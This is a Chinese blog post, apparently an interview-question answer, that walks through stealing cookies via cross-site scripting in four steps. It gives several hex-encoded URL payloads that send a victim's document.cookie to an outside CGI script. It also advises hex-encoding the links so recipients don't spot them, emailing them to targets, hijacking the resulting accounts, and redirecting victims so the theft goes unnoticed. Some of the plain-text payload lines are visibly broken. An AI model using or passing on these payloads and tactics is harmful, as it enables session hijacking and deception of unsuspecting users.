能否解释一下XSS cookie盗窃是什么意思


Posted in 面试题 onJune 02, 2012
根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。
第一步: 锁定目标

当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。
第二步: 测试

不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者有必要调整攻击代码使输出看起来正常。)

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息,说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable=”>

十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。

1. “>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2.

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. >

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 执行XSS

将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。
第四步: 处理收集到的信息

一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。如果你有时间,你可以在CGI中将用户重定向到原来的页面上,即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了许多过滤以避免cookie被盗。

Tags in this post...

面试题 相关文章推荐
C语言面试题
May 19 面试题
编写类String的构造函数、析构函数和赋值函数
May 29 面试题
计算 s=(x*y)1/2,用两个宏定义来实现
Aug 11 面试题
恶意软件的定义
Nov 12 面试题
天网面试题
Apr 07 面试题
C#里面如何倒序排列一个数组的元素?
Jun 21 面试题
某公司C#程序员面试题笔试题
May 26 面试题
Linux中如何用命令创建目录
Jan 12 面试题
什么是Remote Module
Jun 10 面试题
MVC的各个部分都有那些技术来实现?如何实现?
Apr 21 面试题
DELPHI面试题研发笔试试卷
Nov 08 面试题
WSDL的操作类型主要有几种
Jul 19 面试题
什么是跨站脚本攻击
Dec 11 #面试题
金士达面试非笔试
Mar 14 #面试题
傲盾软件面试题
Aug 17 #面试题
网络安全类面试题
Aug 01 #面试题
如何保障Web服务器安全
May 05 #面试题
介绍一下如何利用路径遍历进行攻击及如何防范
Jan 19 #面试题
SQL注入攻击的种类有哪些
Dec 30 #面试题
You might like
PHP常用技巧汇总
2016/03/04 PHP
图片之间的切换
2006/06/26 Javascript
JavaScript操作XML 使用百度RSS作为新闻源示例
2012/02/17 Javascript
JavaScript对象学习小结
2015/09/02 Javascript
黑帽seo劫持程序,js劫持搜索引擎代码
2015/09/15 Javascript
在AngularJS中如何使用谷歌地图把当前位置显示出来
2016/01/25 Javascript
Node.js的Express框架使用上手指南
2016/03/12 Javascript
JavaScript与ActionScript3两者的同性与差异性
2016/09/22 Javascript
AngularJS过滤器filter用法总结
2016/12/13 Javascript
jQuery居中元素scrollleft计算方法示例
2017/01/16 Javascript
Android中Okhttp3实现上传多张图片同时传递参数
2017/02/18 Javascript
浅谈JavaScript正则表达式-非捕获性分组
2017/03/08 Javascript
移动端刮刮乐的实现方式(js+HTML5)
2017/03/23 Javascript
jQuery插件FusionCharts绘制的2D条状图效果【附demo源码】
2017/05/13 jQuery
jQuery实现弹幕特效
2019/11/29 jQuery
vue 表单输入框不支持focus及blur事件的解决方案
2020/11/17 Vue.js
在nodejs中创建child process的方法
2021/01/26 NodeJs
[51:50]完美世界DOTA2联赛 Magma vs GXR 第一场 11.07
2020/11/10 DOTA
对python的文件内注释 help注释方法
2018/05/23 Python
实例分析python3实现并发访问水平切分表
2018/09/29 Python
Python中三元表达式的几种写法介绍
2019/03/04 Python
pyqt5对用qt designer设计的窗体实现弹出子窗口的示例
2019/06/19 Python
在Pandas中处理NaN值的方法
2019/06/25 Python
使用Python计算玩彩票赢钱概率
2019/06/26 Python
Python绘制频率分布直方图的示例
2019/07/08 Python
利用Python的sympy包求解一元三次方程示例
2019/11/22 Python
python Jupyter运行时间实例过程解析
2019/12/13 Python
Python requests模块安装及使用教程图解
2020/06/30 Python
CSS3圆角和渐变2种常用功能详解
2016/01/06 HTML / CSS
Grid 宫格常用布局的实现
2020/01/10 HTML / CSS
办公室岗位职责
2014/02/12 职场文书
向国旗敬礼活动总结
2014/09/27 职场文书
张丽莉事迹观后感
2015/06/16 职场文书
《分一些蚊子进来》读后感3篇
2020/01/09 职场文书
浅谈Java实现分布式事务的三种方案
2021/06/11 Java/Android
使用Apache Camel表达REST服务的方法
2022/06/10 Servers